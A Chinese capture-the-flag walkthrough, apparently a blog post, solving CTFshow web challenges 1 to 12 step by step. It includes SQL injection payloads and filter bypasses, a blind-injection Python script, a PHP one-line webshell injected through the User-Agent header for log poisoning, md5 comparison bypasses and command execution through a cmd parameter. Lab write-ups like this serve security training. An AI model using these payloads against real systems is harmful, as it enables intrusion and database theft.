[CTF夺旗赛] CTFshow Web1-12 详细过程保姆级教程~

news2024/12/26 22:57:27

文章目录

    • 前言
    • Web1
    • Web2
    • Web3
    • Web4
    • Web5
    • Web6
    • Web7
    • Web8
    • Web9
    • Web10
    • Web11
    • Web12

前言

​ CTFShow通常是指网络安全领域中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、漏洞利用技巧以及解题思路的在线社区或软件。参与者会在比赛中收集“flag”,通常是隐藏在网络环境中的数据或密码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技术和挑战,同时也促进了安全知识和技术的交流。

Web1

1.首先我们启动靶机,打开首页,我们发现上面只有一个where is flag的字样。

在这里插入图片描述

2.我们查看一下网页的源代码Ctrl+U,发现了疑似flag的东西。

在这里插入图片描述

3.我们将拿到的这串数进行base64解码,得到flag(ctfshow{d69de809-e78d-4d95-91ef-422375feef9a})。

在这里插入图片描述

Web2

1.首先,我们打开首页,发现是一个很经典的用户名登录,我们先随便注入一下,看看有什么。

我们来注入一下' or 1=1 order by 1;#,发现是有回显的。

在这里插入图片描述

逐步增大到4,我们发现没有回显了,所以说明回显位最多为3。

在这里插入图片描述

2.知道回显位数后,然后我们就可以开始使用联合查询注入了,首先,我们先确定是哪位回显。

' or 1=1 union select 1,2,3;#

在这里插入图片描述

3.我们确定了是第二位回显后,就可以查数据库了,回显得到数据库名(web2)。

' or 1=1 union select 1,database(),3;#

在这里插入图片描述

4.得到数据库名后,我们就开始找表名,继续注入,回显得到表名(flag)。

' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2';#

在这里插入图片描述

5.分析可知flag应该在flag表中,得到表名后,我们就可以开始查询列名,回显得到列名(flag

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag'),3 ;#

在这里插入图片描述

6.得到列名后,我们就可以开始查询列中的字段中的内容,也就是flag,注入后回显得到flag(ctfshow{243d3268-cfd3-4421-a2b6-9aecaf75fac1}

' or 1=1 union select 1,(select flag from flag),3 ;#

在这里插入图片描述

Web3

1.首先我们启动靶机打开首页,发现它给了我们提示($_GET['url'])这告诉我们这题大概率需要构造发包。

在这里插入图片描述

2.我们打开burpsuite,来进行抓包,我们输入流php://input,我们构造一条ls命令,来看看有哪些文件。

在这里插入图片描述

我们Forward一下,看看结果,发现了一个ctf_go_go_go index.php文件。

在这里插入图片描述

2.我们查看一下文件,构造一条cat命令。

在这里插入图片描述

Forward一下,查看结果,得到flag。

在这里插入图片描述

Web4

1.首先,我们打开首页,发现这和上题一样啊,我们尝试一下上题的方法,发现并不行。

在这里插入图片描述

2.思考过后我们想到这台服务器是linux系统,他能用url参数访问,那我们来看一下的日志文件/var/log/nginx/access.log,发现了它是有回显的,回显的参数是我们请求包的User-Agent

在这里插入图片描述

3.那么思路就有了,我们需要构造请求包,在User-Agent里加一个一句话木马然后用蚁剑去连日志文件。下面我们来改包,添加一句话木马<?php eval($_POSt['777']);?>

在这里插入图片描述

3.我们接着用蚁剑来连接,这里就不过多介绍了,根据我们的一句话木马我们知道连接密码是777

在这里插入图片描述

4.我们访问一下文件,发现flag.txt,里面就是我们需要找的flag。

在这里插入图片描述

Web5

1.启动靶机,打开首页,我们发现这应该是一个代码审计题,它将网站的源码给了出来。

在这里插入图片描述

我们来分析一下源码。

where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

分析一下代码,我们发现有两个参数v1v2,然后下面有判断语句,v1必须为字母,v2必须为数字。如果题目两进行md5加密后是相等的话,就会输出flag,也就是说这里用到了一个md5相等绕过。知道了这个之后就好解决了。

2.我们构造两个数,我们传参输入一串v1=QNKCDZO&v2=240610708,得到flag。

在这里插入图片描述

Web6

1.启动靶机,打开首页,我们发现这和Web2一样啊,那么是否还能注入呢,答案肯定是不能的,我们尝试注入or 1=1 order by 3;#,发现报错sql inject error

在这里插入图片描述

2.我们经过不断的尝试,发现问题出在空格被过滤掉了,这时候我们就想到如何代替空格。

可以代替空格的字符:

%0A
%0B
%0D
%A0
/**/

我们来测试一下是否能绕过,发现是可以绕过的,那么就很简单了,我们根据Web2的思路来就好啦!

'/**/or/**/1=1#

在这里插入图片描述

3.首先,我们先看一下回显位数,发现还是3,那么就开始找库名,注入,得到库名(web2)。

'/**/or/**/1=1/**/union/**/select/**/1,database(),3;#

在这里插入图片描述

4.得到库名之后,就来找表名,同样的,注入得到表名(flag)。

'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2';#

在这里插入图片描述

5.得到表名之后,就可以找里面的列名了,注入得到列名。

'/**/or/**/1=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3;#

在这里插入图片描述

6.得到列名之后,就去找列里面的值了,也就是flag,注入拿到flag。

'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3;#

在这里插入图片描述

Web7

1.启动靶机,进入首页,我们发现这是一个文章列表。

在这里插入图片描述

点击一个,我们发现其url是带参数的。

在这里插入图片描述

2.既然是有参数的,我们就来用联合查询来注入,我们先判断一下回显,我们注入发现回显异常。

?id=1 order by 1

在这里插入图片描述

3.碰到这种情况大概率是因为某些字符被过滤了,我们把空格进行替换,发现回显正常。

?id=1/**/order/**/by/**/1

在这里插入图片描述

4.解决了这个问题,下面就简单了,我们先找出回显位数,逐一试发现位数为3,然后我们就判断一下回显位置,我们发现2回显了。

?id=1/**/union/**/select/**/1,2,3#

在这里插入图片描述

5.知道了回显位置之后,我们就可以查数据库名了,注入查得数据库名(web7)。

?id=1/**/union/**/select/**/1,database(),3#

在这里插入图片描述

6.得到数据库名后,我们就可以来查找表名了,注入发现报错无回显。

?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web7'),3#

在这里插入图片描述

7.我们看看是不是还有什么被过滤了,我们将单引号进行替换,果然不出我们所料,查询到表名(flag)。

?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

在这里插入图片描述

8.查询到表名之后查询列名,注入查询得到列名(``)

?id=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#

在这里插入图片描述

9.查询到列名之后,我们去查询列里面的值,也就是flag,注入得到flag

?id=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

在这里插入图片描述

Web8

1.打开首页,我们发现依然这是一个包含文章列表的题目,但是这题过滤了很多东西,所以我们更改一下手注的策略,我们来写一个脚本,来解决这道题,需要将url换成你的url。

import requests


url = 'http://69a32bc3-2aa2-4c50-ac06-8d70d42e049b.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))

        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

2.最后我们运行这个脚本,就可以将flag爆破出来。
在这里插入图片描述

Web9

1.首先,我们进行一下目录扫描,收集信息,扫到robots.txt

dirsearch -u https://3ef16222-240a-4f1f-bc67-265f3c7ab2c5.challenge.ctf.show/

在这里插入图片描述

2.既然扫到了一个robots.txt,我们就去看看它里面有什么。

在这里插入图片描述

3.在robots.txt里面有一个index.phps,我们将它下载下来做一波代码审计,看看注入点在哪。

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

这里的注入点在于md5($password,true),所以说它是会将密码转换的,这时我们就可以设计一个密码来绕过,这里使用绕过密码ffifdyop

4.输入密码ffifdyop进行绕过,登录成功,得到flag!

在这里插入图片描述

Web10

1.启动靶机,打开首页。我们发现还是管理员登录,但是不同的是多了一个取消按钮,点击取消,居然把源码下载了下来。

在这里插入图片描述

点击取消:

在这里插入图片描述

2.那么接下来,我们就可以来做一波代码审计,看看注入点了。

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

我们发现很多关键字 $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";都被过滤掉了,那么常规注入就不可行了,而且账户密码都进行了过滤,那么我们啥也不知道,那么怎么办呢?可以使用with rollup使密码为空,然后进行绕过。

'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

3.注入登录,登录成功得到flag。

在这里插入图片描述

Web11

1.打开靶机,进入首页,我们发现源码已经在上面了。

在这里插入图片描述

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

进行一下代码审计,这道题注入点应该在这一条if($password==$_SESSION['password']),正好我们看首页,也只有一条密码登录,所以我们只需要把Session设为空就能登录绕过。

2.我们使用burpsuite来抓一下包。

在这里插入图片描述

3.我们将Cookie给它清掉,这样就没有Session了,理论上我们就可以绕过了。

在这里插入图片描述

4.改完包我们Forward一下,果然我们绕过了,得到了flag。

在这里插入图片描述

Web12

1.启动靶机,打开首页,发现啥也没有,我们Ctrl+U看看网页源码里有什么。

在这里插入图片描述

打开发现有一个?cmd=

在这里插入图片描述

我们输入命令?cmd=print_r(scandir('./'));来查看一下目录,发现了php文件。

在这里插入图片描述

2.既然找到了文件,我们就来查看一下这个php文件,发现里面放的是flag。

?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119072.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux IO模型(多路复用)

【1】Linux IO模型&#xff1a;IO多路复用 场景假设二 假设妈妈有三个孩子&#xff0c;分别不同的房间里睡觉&#xff0c;需要及时获知每个孩子是否醒了&#xff0c;如何做&#xff1f; 1.一直在一个房间呆着&#xff1a;看不到其他两个孩子 2.每个房间不停的看&#xff1a;可以…

python进阶篇-day09-数据结构与算法(非线性结构与排序算法)

非线性结构(树状结构) 特点: 每个节点都可以有n个子节点(后继节点) 和 n个父节点(前驱节点) 代表: 树, 图...... 概述 属于数据结构之 非线性结构的一种, 父节点可以有多个子节点(后续节点) 特点 有且只有1个根节点 每个节点都可以有1个父节点及任意个子节点, 前提: 根节点除…

C 408—《数据结构》算法题基础篇—链表(上)

目录 Δ前言 一、链表中特定值结点的删除 0.题目&#xff1a; 1.算法设计思想&#xff1a; 2.C语言描述&#xff1a; 3.算法的时间和空间复杂度&#xff1a; 二、链表链表最小值结点的删除 0.题目 : 1.算法设计思想 : 2.C语言描述 : 3.算法的时间和空间复杂度 : 三、链…

E32.【C语言】练习:指针运算习题集(下)(未完)

Exercise 6:阿里巴巴面试题 求下列代码的执行结果 #include <stdio.h> int main() {char *a[] {"work","at","alibaba"};char**pa a;pa;printf("%s\n", *pa);return 0; } 答案速查: 分析: char *a[] {"work",…

计算机组成原理(第一课)

计算机系统概述 1.发展史 摩尔定律&#xff1a;集成电路上可以容纳的晶体管数目在大约每经过18个月到24个月便会增加一倍 2.操作系统组成 存储程序程序控制 五个部分记住&#xff1a; 输入输出功能 I/O 记忆功能 访问 计算功能 计算 判断功能 判断 自我控制功能 自我控制…

冲呀!6款最佳企业文件加密软件排名

在当前数字化时代&#xff0c;企业数据的安全性和保密性已成为企业运营中不可忽视的重要环节。文件加密软件作为保护企业敏感数据的有效工具&#xff0c;其重要性日益凸显。以下是六款最佳企业文件加密软件的排名及详细介绍&#xff0c;这些软件均以其卓越的性能、安全性和易用…

Parsec被墙/800报错/无法访问/连接错误/被封解决方案

Parsec被墙老问题了&#xff0c;给小白们推荐一些解决方式&#xff1a; 800报错的话&#xff1a;把猫的tun模式打开&#xff0c;然后安装服务模式&#xff0c;再登录就可以了&#xff1b; 6023&#xff1a;开IPV6就能解决。 因为Parsec被墙不是一次两次了&#xff0c;我建议…

“简易不简单,全志H616开发环境配置,让创意快速转化为现实!“#全志H616开发板开发环境简易配置

"简易不简单&#xff0c;全志H616开发环境配置&#xff0c;让创意快速转化为现实&#xff01;"#全志H616开发板简易配置开发环境 前言预备知识一、 全志H616学习方向1.1 为什么学1.2 学什么 二、 H616开发板OrangePiZero2 介绍2.1 平台介绍2.2 平台特性2.3 配套操作系…

关于武汉芯景科技有限公司的IIC电平转换芯片XJ4300开发指南(兼容LTC4300)

一、芯片引脚介绍 1.芯片引脚 2.引脚描述 二、系统结构图 三、功能描述 1.电平转换

算法工程师重生之第二天(长度最小的子数组 螺旋矩阵II 区间和 开发商购买土地 总结 )

参考文献 代码随想录 一、长度最小的子数组 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 target 的长度最小的 子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度。如果不存在符合条件的子数组&#xff0c…

单细胞拟时序/轨迹分析原理及monocle2流程学习和整理

在生命演进的过程中机体会随着时间的变化而产生不同的变化。从婴幼儿长大为成年人再到老年人的过程中&#xff0c;我们的身体机能经历了从"弱-强-弱"的变化过程(宽泛的说)&#xff0c;以年为单位来看&#xff0c;有可能我们在10多岁的时候一年内一下子长高了几十厘米…

ArcGIS中怎么合并多个点图层并删除重复点?

最近&#xff0c;我接到了一个怎么合并多个点图层并删除其中的重复点的咨询。 下面是我对这个问题的解决思路&#xff1a; 1、合并图层 在地理处理工具里面 选择合并 并设置好要合并的图层即可 2、接下来在 数据管理工具→常规→删除相同项 即可 希望这些建议能对大家有所帮…

blender云渲染来了,blender云渲染教程!

朋友们&#xff0c;成都渲染101农场blender云渲染上线了&#xff0c;继3DMAX/C4D/maya/UE5云渲染上线后&#xff0c;又上线了blender云渲染&#xff0c;今天&#xff0c;成都渲染101渲染农场用四步教会您blender云渲染&#xff01; 第一步&#xff0c;云渲码6666注册个渲染101…

关于elasticsearch的terms查询超过最大terms数

当我使用es的terms查询时&#xff0c;报错了这段内容。 failed to create query: The number of terms [80306] used in the Terms Query request has exceeded the allowed maximum of [65536]. This maximum can be set by changing the [index.max_terms_count] index leve…

Web日志分析工具GoAccess

目录 1. 介绍 2. 功能 3. 支持的格式 4. 安装 从发布版本构建 从GitHub构建&#xff08;开发&#xff09; 命令行安装 5. 使用 5.1 监视Apache日志 5.2 通过web仪表板查看日志 浏览器访问 5.3 汉化设置 测试访问 1. 介绍 GoAccess是一个开源的实时网络日志分析器和…

VS Code 文件定位功能

1、取消“当前打开文件”的自动定位功能。 设置 ->搜索 Explorer: Auto Reveal -> 将配置改为 false 2.在vs2017中定位文件 Tools->Option->Projects And Solutions->General, tick “track Active Item in Solution Explorer” 工具-> 选项->项目和…

网络基础入门指南(一)

前言 在这个高度互联的世界里&#xff0c;互联网已成为日常生活不可或缺的一部分。然而&#xff0c;对于许多人来说&#xff0c;网络是如何工作的仍然是个谜。本文旨在为那些对网络基础知识感兴趣的朋友提供一个简单的介绍&#xff0c;帮助大家更好地理解互联网的基本原理和技…

输出CAD图中第一个图元类型——c#实现

复制改图元到一个新dwg中&#xff0c;启动代码可实现 如下图设置&#xff1a; using Autodesk.AutoCAD.ApplicationServices; using Autodesk.AutoCAD.DatabaseServices; using Autodesk.AutoCAD.Runtime; using System; using System.Collections.Generic; using System.Linq…

wordpress做后台的资讯类小程序源码

WordPress博客系统资讯资源变现下载小程序源码。这个就比较牛逼了&#xff0c;直接用wordpress做后台 因为由于微信的新规从2022-11月9号后新上线的小程序将不能获取用户头像和名字了 所以微信放需要适配全新的,支持让用户自定义头像和昵称了 不然统一返回默认头像和显示(微…

转义字符笔记

\ &#xff08;在行尾时&#xff09;续行符 \ 反斜杠符号 &#xff0c;用 \ 在字符串里表示反斜杠 ’ 单引号&#xff0c;用 ’ 在字符串里表示单引号 " 双引号&#xff0c;用 " 在字符串里表示双引号 \t 制表符&#xff0c;作用是列对齐&#xff0c;一个Tab键的…